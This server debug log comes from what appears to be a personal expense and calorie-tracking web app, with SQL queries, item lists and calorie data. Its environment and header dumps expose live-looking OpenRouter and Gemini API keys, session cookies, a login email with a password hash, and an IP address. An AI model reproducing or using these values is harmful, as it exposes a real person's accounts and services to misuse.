    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 02:43:10' as DATETIME)"
}
2025-12-22T03:42:10.740Z server-connect:router Serving templateView /
2025-12-22T03:42:10.741Z server-connect:app Executing action step identify
2025-12-22T03:42:10.741Z server-connect:app options: { provider: 'security' }
2025-12-22T03:42:10.790Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-22T03:42:10.793Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-22T03:42:10.839Z server-connect:output identity: 1
2025-12-22T03:42:10.839Z server-connect:app Executing action step restrict
2025-12-22T03:42:10.839Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T03:42:10.839Z server-connect:output restrict: undefined
2025-12-22T03:42:10.839Z server-connect:app Executing action step restrict
2025-12-22T03:42:10.839Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T03:42:10.840Z server-connect:output restrict: undefined
2025-12-22T03:42:10.840Z server-connect:router Render template layouts/main
2025-12-22T03:42:10.840Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.739Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T03:42:14.577Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T03:42:14.577Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T03:42:14.578Z server-connect:app Executing action step identify
2025-12-22T03:42:14.578Z server-connect:app options: { provider: 'security' }
2025-12-22T03:42:14.578Z server-connect:output identity: 1
2025-12-22T03:42:14.578Z server-connect:app Executing action step restrict
2025-12-22T03:42:14.578Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:42:14.578Z server-connect:app Executing action step identify
2025-12-22T03:42:14.578Z server-connect:app options: { provider: 'security' }
2025-12-22T03:42:14.578Z server-connect:output identity: 1
2025-12-22T03:42:14.578Z server-connect:app Executing action step restrict
2025-12-22T03:42:14.578Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:42:14.579Z server-connect:output restrict: undefined
2025-12-22T03:42:14.580Z server-connect:app Executing action step select
2025-12-22T03:42:14.580Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T03:42:14.581Z server-connect:output restrict: undefined
2025-12-22T03:42:14.581Z server-connect:app Executing action step single
2025-12-22T03:42:14.581Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T03:42:14.585Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T03:42:14.587Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T03:43:06.397Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T03:43:06.397Z server-connect:app Executing action step identify
2025-12-22T03:43:06.397Z server-connect:app options: { provider: 'security' }
2025-12-22T03:43:06.398Z server-connect:output identity: 1
2025-12-22T03:43:06.398Z server-connect:app Executing action step restrict
2025-12-22T03:43:06.398Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T03:43:06.399Z server-connect:output restrict: undefined
2025-12-22T03:43:06.399Z server-connect:router Render template calorie-tracker
2025-12-22T03:43:06.399Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T03:43:06.618Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T03:43:06.618Z server-connect:app Executing action step identify
2025-12-22T03:43:06.618Z server-connect:app options: { provider: 'security' }
2025-12-22T03:43:06.619Z server-connect:output identity: 1
2025-12-22T03:43:06.619Z server-connect:app Executing action step restrict
2025-12-22T03:43:06.619Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T03:43:06.619Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T03:43:06.620Z server-connect:output restrict: undefined
2025-12-22T03:43:06.620Z server-connect:app Executing action step single
2025-12-22T03:43:06.620Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T03:43:06.620Z server-connect:app Executing action step identify
2025-12-22T03:43:06.620Z server-connect:app options: { provider: 'security' }
2025-12-22T03:43:06.620Z server-connect:output identity: 1
2025-12-22T03:43:06.621Z server-connect:app Executing action step restrict
2025-12-22T03:43:06.621Z server-connect:app options: { provider: 'security' }
2025-12-22T03:43:06.621Z server-connect:output restrict: undefined
2025-12-22T03:43:06.621Z server-connect:app Executing action step single
2025-12-22T03:43:06.621Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T03:43:06.621Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T03:43:06.622Z server-connect:app Executing action step select
2025-12-22T03:43:06.622Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T03:43:06.622Z server-connect:output summary: undefined
2025-12-22T03:43:06.623Z server-connect:output item_list: []
2025-12-22T03:43:06.623Z server-connect:app Executing action step setvalue
2025-12-22T03:43:06.624Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T03:43:06.624Z server-connect:output var_total: 0
2025-12-22T03:43:06.624Z server-connect:app Executing action step setvalue
2025-12-22T03:43:06.624Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T03:43:06.624Z server-connect:output var_consumed: 0
2025-12-22T03:43:06.624Z server-connect:app Executing action step setvalue
2025-12-22T03:43:06.624Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T03:43:06.624Z server-connect:output var_deficit: 2400
2025-12-22T03:43:06.624Z server-connect:app Executing action step custom
2025-12-22T03:43:06.624Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T03:43:06.625Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
